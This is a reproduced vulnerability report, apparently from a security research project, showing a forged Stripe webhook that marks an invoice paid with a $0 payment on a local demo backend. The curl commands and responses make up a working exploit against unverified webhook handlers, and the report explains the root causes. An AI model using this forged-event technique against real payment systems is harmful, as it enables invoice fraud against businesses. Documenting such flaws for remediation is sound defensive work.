Failure mode: FM7, FM8 (research/FAILURE_MODES.md) · Severity: critical · Reproduced: yes
Impact: Anyone on the internet can mark any invoice paid, for any agency, with one unauthenticated POST.
Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm07-forged-webhook.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:26.301Z.
Setup
sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)Steps
1. Invoice NLS-1019 (Halden Bikes) before
sh
curl -s "$URL/rest/v1/invoices?select=number,status,total,paid_at&id=eq.e3f4828b-bd4a-4d8f-b10f-6d82a6097cd3" \
-H "apikey: $ANON"Response: HTTP 200
json
[
{
"number": "NLS-1019",
"status": "sent",
"total": 5580,
"paid_at": null
}
]2. POST a hand-written event: no Stripe-Signature header, no API key, no login
sh
curl -s -X POST "$URL/functions/v1/stripe-webhook" \
-H "Content-Type: application/json" \
-d '{"id":"evt_forged_0001","type":"checkout.session.completed","data":{"object":{"id":"cs_forged_0001","amount_total":0,"metadata":{"invoice_id":"e3f4828b-bd4a-4d8f-b10f-6d82a6097cd3"}}}}'Response: HTTP 200
json
{
"received": true
}3. Invoice NLS-1019 after
sh
curl -s "$URL/rest/v1/invoices?select=number,status,total,paid_at&id=eq.e3f4828b-bd4a-4d8f-b10f-6d82a6097cd3" \
-H "apikey: $ANON"Response: HTTP 200
json
[
{
"number": "NLS-1019",
"status": "paid",
"total": 5580,
"paid_at": "2026-11-22T16:05:26.287+00:00"
}
]4. The payments ledger now records a $0 "payment"
sh
curl -s "$URL/rest/v1/payments?select=amount,stripe_session_id,created_at&invoice_id=eq.e3f4828b-bd4a-4d8f-b10f-6d82a6097cd3" \
-H "apikey: $ANON"Response: HTTP 200
json
[
{
"amount": 0,
"stripe_session_id": "cs_forged_0001",
"created_at": "2026-11-22T16:05:26.292+00:00"
}
]5. Function log (stdout of the edge function)
text
Receipt sent to ines@haldenbikes.example for NLS-1019 ($0)What this shows
- stripe-webhook does
await req.json()before anything else [FM8]; theconstructEventcall is commented out with a note about "No signatures found matching the expected signature" [FM7]. - The function is deployed with verify_jwt = false (Stripe cannot send a Supabase JWT), so the missing signature check is the only gate, and it is missing.
- amount_total was 0 and the invoice total is $5580; the handler never compares them.